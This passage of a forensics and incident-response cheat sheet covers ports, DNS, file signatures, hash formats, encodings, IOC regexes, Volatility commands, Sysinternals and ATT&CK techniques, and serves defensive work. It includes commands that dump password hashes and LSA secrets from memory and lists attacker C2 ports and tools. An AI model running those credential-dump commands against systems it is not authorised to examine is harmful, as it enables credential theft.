501	Not Implemented	Server lacks the functionality.
502	Bad Gateway	Bad upstream response (proxy/LB).
503	Service Unavailable	Overloaded/down — possible DoS.
504	Gateway Timeout	Upstream timed out.

Ports & services

Well-known services plus ports commonly abused by malware/C2. Context matters — a port is a hint, not a verdict.

PORT	SERVICE	NOTES
20 / 21	FTP (data / control)	Cleartext creds & data. 21 logs USER/PASS.
22	SSH / SFTP / SCP	Remote shell & transfer. Lateral movement & exfil.
23	Telnet	Cleartext remote shell. Legacy/IoT.
25	SMTP	Mail relay; exfil & spam.
53	DNS	Resolution; also DNS tunneling/exfil. UDP & TCP.
67 / 68	DHCP	Address assignment.
69	TFTP	No auth; firmware & payload staging.
80	HTTP	Web; very common C2 channel.
88	Kerberos	AD authentication.
110	POP3	Mail retrieval (cleartext).
111	RPCbind / portmapper	Maps Sun-RPC services (NFS, NIS). Info-leak & amplification.
123	NTP	Time sync (UDP). Amplification DDoS; clock manipulation.
135	MSRPC	Endpoint mapper. Lateral movement (WMI/DCOM).
137 / 138 / 139	NetBIOS	Legacy name/session; SMB over NetBIOS.
143	IMAP	Mail retrieval.
161 / 162	SNMP	Device management; weak community strings.
389	LDAP	Directory queries; AD recon (BloodHound).
443	HTTPS	Encrypted web; dominant C2 & exfil channel.
445	SMB	File sharing, PsExec, EternalBlue. Heavy lateral movement.
500 / 4500	IKE / IPsec NAT-T	VPN key exchange (UDP). Site-to-site & remote-access tunnels.
514	Syslog	Remote logging (UDP).
587	SMTP submission	Authenticated mail send (STARTTLS). Compromised-account exfil.
636	LDAPS	LDAP over TLS.
993	IMAPS	IMAP over TLS.
995	POP3S	POP3 over TLS.
1194	OpenVPN	VPN tunnel (UDP/TCP).
1433 / 1434	MS SQL	Database; xp_cmdshell abuse.
1521	Oracle DB	Oracle TNS listener; database access.
1723	PPTP	Legacy VPN.
2049	NFS	Unix file sharing.
3268 / 3269	AD Global Catalog	Forest-wide LDAP.
3306	MySQL/MariaDB	Database.
3389	RDP	Remote Desktop. Major lateral-movement & access vector.
5060 / 5061	SIP	VoIP signaling (5061 = TLS). Toll fraud & enumeration.
5353	mDNS	Multicast local-name discovery (UDP). Recon & spoofing.
5432	PostgreSQL	Database.
5900	VNC	Remote desktop; often weakly authenticated.

Ports & services (cont.)

PORT	SERVICE	NOTES
5985 / 5986	WinRM	PowerShell Remoting (HTTP/HTTPS). Lateral movement.
6379	Redis	Often unauthenticated; RCE vector.
6443	Kubernetes API	Cluster control plane; exposed/anon API = full takeover.
8000	HTTP alt / dev	Dev & ad-hoc servers (`python -m http.server`) — payload staging.
8080 / 8443	HTTP/HTTPS alt	Proxies, app servers, admin panels.
9200 / 9300	Elasticsearch	REST API / cluster transport; often unauth — data theft.
11211	Memcached	Unauthenticated cache; massive UDP amplification DDoS.
27017	MongoDB	NoSQL DB; frequently exposed unauth — data theft/ransom.
4444 / 4445	Metasploit default SUS	Default Meterpreter/handler port. Strong C2 indicator.
50050	Cobalt Strike SUS	Default team-server port. Beacon C2 framework.
1080	SOCKS proxy SUS	Proxy/pivot; malware SOCKS & traffic tunneling.
2375 / 2376	Docker API SUS	Exposed daemon (2375 = no TLS) = container-host RCE.
1337 / 31337	"Leet" backdoors SUS	Classic backdoor/C2 ports.
6660 / 6661 / 6662 / 6663 / 6664 / 6665 / 6666 / 6667 / 6668 / 6669	IRC SUS	Legacy botnet C2.
5555	ADB / misc SUS	Android Debug Bridge; also various backdoors.
9001 / 9030 / 9050	Tor SUS	Tor OR/dir/SOCKS; anonymized C2 & exfil.
12345	NetBus SUS	Classic trojan default.

Ephemeral (dynamic) ports: outbound connections use a high *source* port from `49152–65535` (Windows / IANA) or `32768–60999` (Linux). A high source port talking to a low dest port is normal client traffic; a service *listening* on a random high port is worth a look. Windows also assigns dynamic RPC endpoints in this range.

DNS record types

TYPE	PURPOSE	FORENSIC NOTE
A	Hostname → IPv4	Most common lookup.
AAAA	Hostname → IPv6	Don't forget IPv6 in connection analysis.
CNAME	Alias → canonical name	Redirection chains; fast-flux.
MX	Mail servers	Mail routing.
NS	Authoritative name servers	Delegation; attacker-controlled NS.
PTR	IP → hostname (reverse)	Reverse DNS in `in-addr.arpa` .
TXT	Arbitrary text	SPF/DKIM — **also abused for C2 & data exfil**.
SRV	Service location (host+port)	AD uses heavily (_ldap, _kerberos).
SOA	Zone authority/serial	Zone metadata.
CAA	Allowed cert authorities	Which CAs may issue certs.
DNSKEY / RRSIG / DS	DNSSEC records	Signatures & keys for DNSSEC validation.

DNS red flags: high `NXDOMAIN` rates (DGA), very long/encoded subdomains (tunneling/exfil), excessive TXT queries, and regular-interval lookups to one domain (beaconing).

CIDR / subnet reference

IPv4 prefix → mask, total addresses, and usable hosts (= total − network & broadcast for /30 and larger).

CIDR	NETMASK	ADDRESSES	USABLE HOSTS
/32	255.255.255.255	1	1 (host route)
/31	255.255.255.254	2	2 (p2p, RFC 3021)
/30	255.255.255.252	4	2
/29	255.255.255.248	8	6
/28	255.255.255.240	16	14
/27	255.255.255.224	32	30

CIDR / subnet reference (cont.)

CIDR	NETMASK	ADDRESSES	USABLE HOSTS
/26	255.255.255.192	64	62
/25	255.255.255.128	128	126
/24	255.255.255.0	256	254
/23	255.255.254.0	512	510
/22	255.255.252.0	1,024	1,022
/21	255.255.248.0	2,048	2,046
/20	255.255.240.0	4,096	4,094
/19	255.255.224.0	8,192	8,190
/18	255.255.192.0	16,384	16,382
/17	255.255.128.0	32,768	32,766
/16	255.255.0.0	65,536	65,534
/15	255.254.0.0	131,072	131,070
/14	255.252.0.0	262,144	262,142
/13	255.248.0.0	524,288	524,286
/12	255.240.0.0	1,048,576	1,048,574
/11	255.224.0.0	2,097,152	2,097,150
/10	255.192.0.0	4,194,304	4,194,302
/9	255.128.0.0	8,388,608	8,388,606
/8	255.0.0.0	16,777,216	16,777,214

Reserved ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` = RFC 1918 private · `127.0.0.0/8` = loopback · `169.254.0.0/16` = link-local/APIPA · `100.64.0.0/10` = CGNAT · `224.0.0.0/4` = multicast · `255.255.255.255` = limited broadcast.

File signatures (magic bytes)

Header bytes for file-type ID & carving. The signature identifies the true type regardless of the file extension. Offset 0 unless noted.

HEX	ASCII	TYPE
4D 5A	MZ	Windows PE executable (.exe/.dll/.sys)
7F 45 4C 46	.ELF	Linux/Unix ELF executable
CF FA ED FE		Mach-O (macOS) executable/dylib — also FE ED FA CE/CF
4D 44 4D 50	MDMP	Windows minidump — e.g. an lsass credential dump
50 4B 03 04	PK..	ZIP — also JAR/APK and OOXML (.docx/.xlsx/.pptx)
7B 5C 72 74 66 31	{\rtf1	RTF document — common maldoc / exploit carrier
D0 CF 11 E0 A1 B1 1A E1		OLE/CFB — legacy .doc/.xls/.ppt, .msi
25 50 44 46	%PDF	PDF document
52 61 72 21 1A 07	Rar!	RAR archive
37 7A BC AF 27 1C	7z..	7-Zip archive
1F 8B		GZIP (.gz / .tgz)
42 5A 68	BZh	bzip2 (.bz2)
FD 37 7A 58 5A 00		XZ archive (.xz)
28 B5 2F FD		Zstandard (.zst)
4D 53 43 46	MSCF	Microsoft Cabinet (.cab)
21 3C 61 72 63 68 3E	! <arch>	Unix ar / Debian .deb package
89 50 4E 47 0D 0A 1A 0A	.PNG	PNG image
FF D8 FF		JPEG image
47 49 46 38	GIF8	GIF image
42 4D	BM	BMP image
52 49 46 46	RIFF	RIFF container (WAV/AVI/WEBP)
49 44 33	ID3	MP3 audio (ID3 tag)
66 74 79 70	ftyp	ISO-BMFF: MP4/MOV/HEIC/3GP (at offset 4)
1A 45 DF A3		Matroska / WebM (EBML)
53 51 4C 69 74 65	SQLite	SQLite DB (browser history, app data)
45 6C 66 46 69 6C 65	ElfFile	Windows .evtx event log
72 65 67 66	regf	Windows registry hive
4C 00 00 00	L...	Windows LNK shortcut
D4 C3 B2 A1		PCAP capture (A1 B2 C3 D4 = big-endian)
0A 0D 0D 0A		PCAPNG capture
CA FE BA BE		Java .class (also Mach-O fat binary)
43 44 30 30 31	CD001	ISO 9660 (at offset 0x8001/0x8801)
75 73 74 61 72	ustar	TAR archive (at offset 0x101)

File signatures (magic bytes) (cont.)

HEX	ASCII	TYPE
43 72 32 34	Cr24	Chrome extension (.crx)
EF BB BF		UTF-8 BOM (text-file marker; also FF FE = UTF-16 LE)

Hash types

Identify a hash by length & charset (hex unless noted).

ALGORITHM	BITS	HEX LENGTH	NOTES
MD5	128	32	Fast, collision-broken. Still common for file ID.
SHA-1	160	40	Deprecated (collisions). Amcache stores SHA-1.
SHA-256	256	64	Current standard for evidence integrity.
SHA-512	512	128	Longer SHA-2 variant.
NTLM	128	32	Windows password hash. Looks like MD5 — context distinguishes.
LM	—	32	Legacy, very weak; often disabled. Blank = `AAD3B435...`.
CRC32	32	8	Checksum, not cryptographic.
ssdeep	—	var	Fuzzy hash; similarity matching of related files.
imphash	128	32	Hash of a PE's import table; clusters related malware.
bcrypt	—	60	Password hash, prefix `$2a$/$2b$/$2y$`. Deliberately slow.
Argon2	—	var	Modern password KDF, prefix `$argon2id$`.
NetNTLMv2	—	var	Captured challenge/response (Responder/relay). Format `user::domain:…`. Crack offline.
Kerberoast (TGS-REP)	—	var	Service-ticket hash, prefix `$krb5tgs$`. From SPN roasting.
AS-REP roast	—	var	Pre-auth-disabled account hash, prefix `$krb5asrep$`.

Timestamp formats & timestomping

FORMAT	EPOCH / UNIT	NOTES
Windows FILETIME	100 ns since 1601-01-01 UTC	64-bit. Registry, $MFT, many artifacts. Often little-endian on disk.
Unix / POSIX	seconds since 1970-01-01 UTC	32-bit overflows in 2038; many systems now 64-bit.
WebKit / Chrome	microseconds since 1601-01-01	Chrome/Edge history & cookies.
Cocoa / Mac absolute	seconds since 2001-01-01 UTC	Apple/Safari artifacts.
FAT / DOS	local time, 2-sec resolution	No timezone stored; created time has finer resolution than modified.

Timestomping — $SI vs $FN: NTFS keeps two timestamp sets per file. `$STANDARD_INFORMATION` ($SI) is what Explorer shows and is *user-writable* (timestomping APIs change it). `$FILE_NAME` ($FN) is set by the kernel on create/rename/move and is **not** trivially settable. When **$SI is earlier than $FN**, or $SI has zeroed sub-seconds while $FN does not, suspect timestomping. **MACB** = Modified, Accessed, *Changed* (MFT-entry modified), Born (created).

Encoding quick-ref

Recognise encodings in logs, command lines, and payloads.

ENCODING	LOOKS LIKE	EXAMPLE	NOTES
Base64	A–Z a–z 0–9 + / , = padding	SGVsbG8gd29y bGQ=	Length multiple of 4. PowerShell `-enc` uses Base64 of UTF-16LE.
Base32	A–Z 2–7, = padding	NBSWY3DP	Uppercase + digits 2–7 only. Seen in some C2, onion & DGA labels.
Base64URL	uses `-` and `_`, no padding	eyJhbGciOiJI UzI1NiJ9	JWTs (three dot-separated parts) start `eyJ`. URL-safe tokens.
Hex	0–9 a–f, often `\x` or `0x`	\x48\x65\x6c \x6c\x6f	2 chars per byte. Shellcode, obfuscated strings.
URL / percent	`%41` → A	%2Fbin%2Fsh	Web payloads; double-encoding evades filters.
ROT13	letter shift by 13	Uryyb → Hello	Registry UserAssist values are ROT13.
Gzip+Base64	starts `H4sI` after Base64-decode → `1F 8B`	H4sIAAAAAAAA /…	Common in droppers — decode then decompress.

Encoding quick-ref (cont.)

ENCODING	LOOKS LIKE	EXAMPLE	NOTES
XOR	high-entropy, no plain strings	D4 F9 F0 F0 F3 (Hello^0x9C)	Single-byte XOR very common; brute the key (try 0x00–0xFF).

Regex cheats (IOC extraction)

Patterns for pulling indicators from logs, memory strings, and command lines. Tuned for PCRE/.NET engines (`grep -P`, ripgrep, PowerShell `-match`). Add `(?i)` / `-i` for hex & hostnames; anchor with `\b` to avoid partial hits.

MATCH	PATTERN	NOTES
IPv4 (loose)	`\b(?:\d{1,3}\.){3}\d{1,3}\b`	Fast, but also matches invalid octets (e.g. 999).
IPv4 (strict)	`\b(?:(?:25[0-5]|2[0-4]\d|1?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|1?\d?\d)\b`	Valid 0–255 octets only.
IPv6	`(?:[A-Fa-f0-9]{1,4}:){2,7}[A-Fa-f0-9]{1,4}`	Simplified; won't catch every `::` compression form.
MAC address	`(?:[0-9A-Fa-f]{2}[:-]){5}[0-9A-Fa-f]{2}`	Colon- or dash-separated.
Domain / FQDN	`\b(?:[a-z0-9-]{1,63}\.)+[a-z]{2,}\b`	Use `(?i)`; add a TLD allow-list to cut noise.
URL	`\bhttps?://[^\s"'<>)]+`	Stops at whitespace, quotes, brackets.
Email	`[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}`	Good enough for log triage.
MD5	`\b[a-f0-9]{32}\b`	(?i). Same length as an NTLM hash.
SHA-1	`\b[a-f0-9]{40}\b`	(?i).
SHA-256	`\b[a-f0-9]{64}\b`	(?i).
Base64 run	`[A-Za-z0-9+/]{20,}={0,2}`	Long blob, pad-aware. Often PowerShell `-enc`.
Windows path	`[A-Za-z]:\\(?:[^\\/:*?"<>|\r\n]+\\?)+`	Drive-letter path.
UNC path	`\\\\[A-Za-z0-9._-]+\\[^\\/:*?"<>|\r\n]+`	`\\host\share`.
Registry key	`\bHK(?:LM|CU|CR|U|CC)\\[^\s"]+`	Hive-rooted path.
GUID	`[0-9A-Fa-f]{8}-(?:[0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}`	CLSIDs, task IDs, etc.
PowerShell -enc	`-[Ee](?:nc(?:odedcommand)?)?\s+[A-Za-z0-9+/=]{20,}`	Encoded command flag + blob.
JWT	`eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+`	Three base64url parts.
Bitcoin address	`\b(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}\b`	Ransom notes / wallets.
Credit card (PAN)	`\b(?:\d[ -]?){13,16}\b`	Validate with Luhn to drop false hits.
Private IP	`\b(?:10\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)`	RFC 1918 internal ranges.

Pulling IOCs from binaries/memory: `strings -n 8 file | grep -P '<pattern>'`, or bstrings / CyberChef offline. Watch for ReDoS (catastrophic backtracking) on very large inputs — prefer anchored, non-greedy patterns.

Volatility 3 plugins

Run as `vol -f dump.raw <plugin>`. Windows plugins prefixed `windows.`, Linux `linux.`. Companion to the dfd memory analyser.

PLUGIN	OS	SHOWS
windows.info	Win	OS build, kernel base, layers — confirm the image is parsed correctly.
windows.pslist	Win	Processes from the active list (PID, PPID, threads, start).
windows.psscan	Win	Carves _EPROCESS — finds hidden/terminated processes.
windows.pstree	Win	Process hierarchy — spot bad parent/child chains.
windows.cmdline	Win	Per-process command line.
windows.dlllist	Win	Loaded DLLs per process.
windows.handles	Win	Open handles (files, keys, mutexes) — malware mutexes.
windows.netscan	Win	Network connections & listeners with owning PID.
windows.netstat	Win	Active connections (list-based).

Volatility 3 plugins (cont.)

PLUGIN	OS	SHOWS
windows.malfind	Win	Injected/unpacked code (RWX private regions).
windows.ldrmodules	Win	DLLs unlinked from the loader lists (injection/hiding).
windows.svcscan	Win	Windows services & their backing binaries.
windows.modules / modscan	Win	Loaded kernel drivers (list / carved).
windows.hashdump / lsadump / cachedump	Win	Credential material from memory (sensitive!).
windows.registry.hivelist / printkey	Win	In-memory registry hives & key contents.
windows.filescan / dumpfiles	Win	Find & extract cached files from memory.
timeliner	Both	Builds a timeline from many artifacts in the image.
linux.pslist / pstree	Lin	Processes & hierarchy.
linux.bash	Lin	Recovers bash history from memory.
linux.sockstat	Lin	Open sockets & owning processes.
linux.check_modules / check_syscall	Lin	Rootkit checks (hidden modules, hooked syscalls).

Linux/macOS symbols: Volatility needs a kernel-matched ISF in `symbols/` or those plugins return empty. Build one with `dwarf2json` from the matching kernel.

Volatility 3 command recipes

Copy-paste starting points. Add `-r csv` / `-r json` for structured output and `-o ./out` for a dump directory. Plugin meanings are in the **Volatility 3 plugins** table.

GOAL	COMMAND
Identify the image	`vol -f mem.raw windows.info`
Process tree	`vol -f mem.raw windows.pstree`
Hidden / terminated procs	`vol -f mem.raw windows.psscan`
Full command lines	`vol -f mem.raw windows.cmdline`
Network connections	`vol -f mem.raw windows.netscan`
Find injected code	`vol -f mem.raw windows.malfind`
Dump injected regions	`vol -f mem.raw -o ./out windows.malfind --dump`
DLLs of a PID	`vol -f mem.raw windows.dlllist --pid 1234`
Dump a process image	`vol -f mem.raw -o ./out windows.pslist --pid 1234 --dump`
Dump full process memory	`vol -f mem.raw -o ./out windows.memmap --pid 1234 --dump`
Services	`vol -f mem.raw windows.svcscan`
Drivers / modules	`vol -f mem.raw windows.modules ; windows.driverscan`
Registry hives in RAM	`vol -f mem.raw windows.registry.hivelist`
Read a registry key	`vol -f mem.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"`
Credentials / hashes	`vol -f mem.raw windows.hashdump ; windows.lsadump ; windows.cachedump`
Find a file in memory	`vol -f mem.raw windows.filescan`
Dump that file	`vol -f mem.raw -o ./out windows.dumpfiles --virtaddr 0x<offset>`
Environment variables	`vol -f mem.raw windows.envars`
Build a timeline	`vol -f mem.raw timeliner`
Scan with YARA	`vol -f mem.raw windows.vadyarascan --yara-rules /path/rules.yar`
Linux processes	`vol -f mem.lime linux.pslist`
Linux bash history	`vol -f mem.lime linux.bash`
Linux rootkit checks	`vol -f mem.lime linux.check_syscall`
Use custom symbols	`vol -s ./symbols -f mem.lime linux.pslist`

SYSINTERNALS & EZ TOOLS Sysinternals (live / triage)

Sysinternals for live / triage work; Eric Zimmerman's tools are dead-box artifact parsers.

TOOL	USE
Autoruns / autorunsc	Enumerate every ASEP (see persistence map). `autorunsc -a * -h` for all + hashes.
Process Explorer	Live process tree, handles, DLLs, signer & VirusTotal verdicts.

SYSINTERNALS & EZ TOOLS **Sysinternals (live / triage)** (cont.)

TOOL	USE
`Procmon`	Real-time file/registry/process/network events; filter aggressively.
`Procdump`	Dump a process (e.g. lsass) for offline analysis.
`PsExec`	Remote exec (also an attacker tool — note in logs).
`TCPView`	Live TCP/UDP endpoints with owning process.
`Sigcheck`	Signature + VT hash check + PE metadata; `-e` to scan dirs.
`Strings`	Extract ASCII/Unicode strings from a file.
`Handle / ListDLLs`	Open handles / loaded DLLs per process.
`Sysmon`	Deploy host telemetry (see Sysmon event IDs).
`AccessChk`	Effective permissions; find weak service/file ACLs.
`RAMMap / VMMap`	Physical / per-process memory usage.

SYSINTERNALS & EZ TOOLS **Eric Zimmerman (dead-box parsers → CSV)**

TOOL	USE
`MFTECmd`	Parse `$MFT`, `$J`, `$LogFile`, `$Boot`, `$SDS`.
`PECmd`	Prefetch: run counts & last-run times.
`LECmd`	LNK shortcut files.
`JLECmd`	Jump Lists (Automatic/Custom destinations).
`RBCmd`	Recycle Bin `$I` records.
`SBECmd`	Shellbags (UsrClass.dat / NTUSER.dat).
`AppCompatCacheParser`	ShimCache (AppCompatCache).
`AmcacheParser`	Amcache.hve (program metadata + SHA-1).
`RECmd / Registry Explorer`	Registry parsing with batch (.reb) plugins.
`EvtxECmd`	`.evtx` → CSV with field maps.
`SrumECmd`	SRUM (network/resource usage).
`WxTCmd`	Win10 Timeline (ActivitiesCache.db).
`Timeline Explorer`	View/filter/sort the CSV output of the EZ parsers.
`KAPE`	Targeted triage collection (Targets) + processing (Modules).

YARA quick-ref

YARA (a VirusTotal project) matches files/processes against text/hex/regex **signatures**. Detection engine, not a rule converter — it actually scans. Pairs with Sigma-over-logs (Hayabusa/Zircolite): Sigma hunts the *logs*, YARA hunts the *files*.

CLI FLAG	MEANING	NOTES
`-r`	Recurse into subdirectories.	Without it a directory arg is scanned non-recursively (top level only).
`-N`	Never follow symlinks.	Keeps a scan inside a mounted image — a symlink can't lead it out.
`-e`	Print the rule's namespace.	Output becomes `namespace:rule … path`.
`-g`	Print rule tags.	`rule [tag1,tag2] path`.
`-m`	Print rule meta.	`[author="…",description="…"]` — the analyst context.
`-s`	Print the matching strings + offsets.	Verbose; great for triage, noisy for bulk output.
`--skip-larger=N`	Skip files bigger than N bytes.	Bounds a directory scan (e.g. `104857600` = 100 MB).
`-d name=val`	Define an external variable.	Rules using `filename` / `filepath` / `extension` error if it's undefined.
`-f`	Fast scan (stop at first string match).	Faster; fewer per-string details.
`yarac rules.yar out`	Pre-compile rules to a binary blob.	Validates once; a single broken rule aborts the whole compile.

Offline ruleset — YARA-Forge: a curated, deduplicated, pre-tested aggregate of thousands of public rules, packaged as single ready-to-run bundles (`core` = high-confidence; `full` = everything). The pragmatic drop-in for an air-gapped box — download on a connected machine, copy the `.yar` across. The dfd dead-image collectors auto-run it with `--yara` / `--yara-full` over the carved files and the on-disk locations where malware hides.

MITRE ATT&CK MATRIX **TA0043 · Reconnaissance**

The 14 Enterprise tactics (the "why") in roughly kill-chain order, each with its own scrollable table of techniques and sub-techniques (the "how") to map evidence to. Not exhaustive (the live matrix has 200+ techniques). `T####` = technique; `T####.###` = sub-technique.

Gather information to plan the operation.

MITRE ATT&CK MATRIX **TA0043 · Reconnaissance** (cont.)

ID	TECHNIQUE
T1595	Active Scanning
T1595.001	Active Scanning: Scanning IP Blocks
T1595.002	Active Scanning: Vulnerability Scanning
T1595.003	Active Scanning: Wordlist Scanning
T1592	Gather Victim Host Information
T1589	Gather Victim Identity Information
T1589.001	Gather Victim Identity Information: Credentials
T1589.002	Gather Victim Identity Information: Email Addresses
T1589.003	Gather Victim Identity Information: Employee Names
T1590	Gather Victim Network Information
T1591	Gather Victim Org Information
T1598	Phishing for Information
T1598.001	Phishing for Information: Spearphishing Service
T1598.002	Phishing for Information: Spearphishing Attachment
T1598.003	Phishing for Information: Spearphishing Link
T1597	Search Closed Sources
T1596	Search Open Technical Databases
T1593	Search Open Websites/Domains
T1594	Search Victim-Owned Websites

MITRE ATT&CK MATRIX **TA0042 · Resource Development**

Acquire infrastructure and capabilities (domains, malware, accounts).

ID	TECHNIQUE
T1650	Acquire Access
T1583	Acquire Infrastructure
T1583.001	Acquire Infrastructure: Domains
T1583.003	Acquire Infrastructure: Virtual Private Server
T1583.004	Acquire Infrastructure: Server
T1583.006	Acquire Infrastructure: Web Services
T1586	Compromise Accounts
T1586.001	Compromise Accounts: Social Media Accounts
T1586.002	Compromise Accounts: Email Accounts
T1584	Compromise Infrastructure
T1587	Develop Capabilities
T1587.001	Develop Capabilities: Malware
T1587.002	Develop Capabilities: Code Signing Certificates
T1587.004	Develop Capabilities: Exploits
T1585	Establish Accounts
T1585.001	Establish Accounts: Social Media Accounts
T1585.002	Establish Accounts: Email Accounts
T1588	Obtain Capabilities
T1588.001	Obtain Capabilities: Malware
T1588.002	Obtain Capabilities: Tool
T1588.005	Obtain Capabilities: Exploits
T1588.006	Obtain Capabilities: Vulnerabilities
T1608	Stage Capabilities

MITRE ATT&CK MATRIX **TA0001 · Initial Access**

Get the foothold (phishing, exploit, valid accounts).

ID	TECHNIQUE
T1189	Drive-by Compromise
T1190	Exploit Public-Facing Application
T1133	External Remote Services
T1200	Hardware Additions
T1566	Phishing
T1566.001	Phishing: Spearphishing Attachment
T1566.002	Phishing: Spearphishing Link
T1566.003	Phishing: Spearphishing via Service
T1091	Replication Through Removable Media
T1195	Supply Chain Compromise
T1195.001	Supply Chain Compromise: Software Dependencies & Development Tools

MITRE ATT&CK MATRIX TA0001 · Initial Access (cont.)

ID	TECHNIQUE
T1195.002	Supply Chain Compromise: Software Supply Chain
T1199	Trusted Relationship
T1078	Valid Accounts
T1078.001	Valid Accounts: Default Accounts
T1078.002	Valid Accounts: Domain Accounts
T1078.003	Valid Accounts: Local Accounts
T1078.004	Valid Accounts: Cloud Accounts

MITRE ATT&CK MATRIX TA0002 · Execution

Run attacker-controlled code on a host.

ID	TECHNIQUE
T1059	Command and Scripting Interpreter
T1059.001	Command and Scripting Interpreter: PowerShell
T1059.003	Command and Scripting Interpreter: Windows Command Shell
T1059.004	Command and Scripting Interpreter: Unix Shell
T1059.005	Command and Scripting Interpreter: Visual Basic
T1059.006	Command and Scripting Interpreter: Python
T1059.007	Command and Scripting Interpreter: JavaScript
T1609	Container Administration Command
T1203	Exploitation for Client Execution
T1559	Inter-Process Communication
T1559.001	Inter-Process Communication: Component Object Model
T1559.002	Inter-Process Communication: Dynamic Data Exchange
T1106	Native API
T1053	Scheduled Task/Job
T1053.003	Scheduled Task/Job: Cron
T1053.005	Scheduled Task/Job: Scheduled Task
T1053.006	Scheduled Task/Job: Systemd Timers
T1129	Shared Modules
T1072	Software Deployment Tools
T1569	System Services
T1569.002	System Services: Service Execution
T1204	User Execution
T1204.001	User Execution: Malicious Link
T1204.002	User Execution: Malicious File
T1047	Windows Management Instrumentation

MITRE ATT&CK MATRIX TA0003 · Persistence

Survive reboots and credential changes.

ID	TECHNIQUE
T1098	Account Manipulation
T1098.004	Account Manipulation: SSH Authorized Keys
T1197	BITS Jobs
T1547	Boot or Logon Autostart Execution
T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1547.002	Boot or Logon Autostart Execution: Authentication Package
T1547.004	Boot or Logon Autostart Execution: Winlogon Helper DLL
T1547.005	Boot or Logon Autostart Execution: Security Support Provider
T1547.009	Boot or Logon Autostart Execution: Shortcut Modification
T1037	Boot or Logon Initialization Scripts
T1037.001	Boot or Logon Initialization Scripts: Logon Script (Windows)
T1176	Browser Extensions
T1554	Compromise Host Software Binary
T1136	Create Account
T1136.001	Create Account: Local Account
T1136.002	Create Account: Domain Account
T1136.003	Create Account: Cloud Account
T1543	Create or Modify System Process
T1543.002	Create or Modify System Process: Systemd Service
T1543.003	Create or Modify System Process: Windows Service
T1546	Event Triggered Execution

MITRE ATT&CK MATRIX TA0003 · Persistence (cont.)

ID	TECHNIQUE
T1546.003	Event Triggered Execution: Windows Management Instrumentation Event Subscription
T1546.008	Event Triggered Execution: Accessibility Features
T1546.010	Event Triggered Execution: AppInit DLLs
T1546.012	Event Triggered Execution: Image File Execution Options Injection
T1546.015	Event Triggered Execution: Component Object Model Hijacking
T1133	External Remote Services
T1574	Hijack Execution Flow
T1574.001	Hijack Execution Flow: DLL Search Order Hijacking
T1574.002	Hijack Execution Flow: DLL Side-Loading
T1556	Modify Authentication Process
T1556.003	Modify Authentication Process: Pluggable Authentication Modules
T1137	Office Application Startup
T1137.001	Office Application Startup: Office Template Macros
T1542	Pre-OS Boot
T1542.003	Pre-OS Boot: Bootkit
T1053	Scheduled Task/Job
T1053.003	Scheduled Task/Job: Cron
T1053.005	Scheduled Task/Job: Scheduled Task
T1505	Server Software Component
T1505.003	Server Software Component: Web Shell
T1505.004	Server Software Component: IIS Components
T1078	Valid Accounts

MITRE ATT&CK MATRIX TA0004 · Privilege Escalation

Gain higher-level permissions.

ID	TECHNIQUE
T1548	Abuse Elevation Control Mechanism
T1548.001	Abuse Elevation Control Mechanism: Setuid and Setgid
T1548.002	Abuse Elevation Control Mechanism: Bypass User Account Control
T1548.003	Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1134	Access Token Manipulation
T1134.001	Access Token Manipulation: Token Impersonation/Theft
T1134.002	Access Token Manipulation: Create Process with Token
T1134.005	Access Token Manipulation: SID-History Injection
T1547	Boot or Logon Autostart Execution
T1543	Create or Modify System Process
T1484	Domain or Tenant Policy Modification
T1484.001	Domain or Tenant Policy Modification: Group Policy Modification
T1611	Escape to Host
T1546	Event Triggered Execution
T1068	Exploitation for Privilege Escalation
T1574	Hijack Execution Flow
T1055	Process Injection
T1053	Scheduled Task/Job
T1078	Valid Accounts

MITRE ATT&CK MATRIX TA0005 · Defense Evasion

Avoid detection — clear logs, disable tooling, obfuscate, masquerade.

ID	TECHNIQUE
T1548	Abuse Elevation Control Mechanism
T1134	Access Token Manipulation
T1197	BITS Jobs
T1140	Deobfuscate/Decode Files or Information
T1006	Direct Volume Access

MITRE ATT&CK MATRIX **TA0005 · Defense Evasion** (cont.)

ID	TECHNIQUE
T1211	Exploitation for Defense Evasion
T1222	File and Directory Permissions Modification
T1564	Hide Artifacts
T1564.001	Hide Artifacts: Hidden Files and Directories
T1564.004	Hide Artifacts: NTFS File Attributes
T1574	Hijack Execution Flow
T1562	Impair Defenses
T1562.001	Impair Defenses: Disable or Modify Tools
T1562.002	Impair Defenses: Disable Windows Event Logging
T1562.004	Impair Defenses: Disable or Modify System Firewall
T1070	Indicator Removal
T1070.001	Indicator Removal: Clear Windows Event Logs
T1070.002	Indicator Removal: Clear Linux or Mac System Logs
T1070.003	Indicator Removal: Clear Command History
T1070.004	Indicator Removal: File Deletion
T1070.006	Indicator Removal: Timestomp
T1202	Indirect Command Execution
T1036	Masquerading
T1036.003	Masquerading: Rename System Utilities
T1036.004	Masquerading: Masquerade Task or Service
T1036.005	Masquerading: Match Legitimate Name or Location
T1556	Modify Authentication Process
T1112	Modify Registry
T1027	Obfuscated Files or Information
T1027.002	Obfuscated Files or Information: Software Packing
T1027.010	Obfuscated Files or Information: Command Obfuscation
T1055	Process Injection
T1055.001	Process Injection: Dynamic-link Library Injection
T1055.012	Process Injection: Process Hollowing
T1620	Reflective Code Loading
T1218	System Binary Proxy Execution
T1218.005	System Binary Proxy Execution: Mshta
T1218.010	System Binary Proxy Execution: Regsvr32
T1218.011	System Binary Proxy Execution: Rundll32
T1221	Template Injection
T1550	Use Alternate Authentication Material
T1550.002	Use Alternate Authentication Material: Pass the Hash
T1550.003	Use Alternate Authentication Material: Pass the Ticket
T1078	Valid Accounts
T1497	Virtualization/Sandbox Evasion

MITRE ATT&CK MATRIX **TA0006 · Credential Access**

Steal account names and secrets.

ID	TECHNIQUE
T1110	Brute Force
T1110.001	Brute Force: Password Guessing
T1110.002	Brute Force: Password Cracking
T1110.003	Brute Force: Password Spraying
T1110.004	Brute Force: Credential Stuffing
T1555	Credentials from Password Stores
